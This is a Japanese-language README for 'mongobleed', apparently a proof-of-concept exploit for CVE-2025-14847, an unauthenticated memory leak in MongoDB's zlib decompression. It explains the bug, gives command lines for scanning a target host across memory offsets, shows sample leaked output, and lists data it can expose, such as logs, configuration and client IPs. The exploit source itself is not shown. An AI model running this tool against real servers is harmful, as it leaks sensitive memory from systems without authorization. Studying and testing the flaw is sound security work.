mongobleed

CVE-2025-14847 - MongoDB 未認証メモリ漏えいエクスプロイト

MongoDB の zlib 圧縮解除の脆弱性に対する概念実証エクスプロイトで、未認証の攻撃者がサーバーの機密メモリを漏えいできるようにします。

脆弱性

MongoDB の zlib メッセージ圧縮解除の欠陥により、実際の圧縮解除データ長ではなく、割り当てられたバッファサイズが返されます。これにより、攻撃者は以下の方法で未初期化メモリを読み取ることができます。

1. 圧縮されたメッセージに、過大に設定された uncompressedSize を指定して送信する
2. MongoDB は攻撃者の宣言値に基づいて大きなバッファを割り当てる
3. zlib が実際のデータをバッファの先頭に展開する
4. このバグにより、MongoDB はバッファ全体を有効なデータとして扱う
5. BSON パーサーは、NULL バイトに到達するまで未初期化メモリから "フィールド名" を読み取る

影響を受けるバージョン

使用方法

# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>

# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000

# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000

オプション

出力例

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...

[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin

テスト環境

脆弱な MongoDB インスタンスを起動するための Docker Compose ファイルが含まれています：

docker-compose up -d
python3 mongobleed.py

仕組み

このエクスプロイトは、長さフィールドを過大に設定した BSON ドキュメントを作成します。サーバーがこれらのドキュメントを解析するとき、NULL バイトに到達するまで未初期化メモリからフィールド名を読み取ります。異なるオフセットでプローブするたびに、異なるメモリ領域が漏えいする可能性があります。

漏えいする可能性のあるデータには、以下が含まれます：

• MongoDB の内部ログと状態
• WiredTiger ストレージエンジンの構成
• システムの /proc データ（meminfo、ネットワーク統計）
• Docker コンテナのパス
• 接続 UUID とクライアント IP アドレス

参照

• OX Security アドバイザリ
• MongoDB 修正コミット

著者

Joe Desimone - x.com/dez_

免責事項

このツールは、許可されたセキュリティテストのみを対象としています。コンピュータシステムへの不正アクセスは違法です。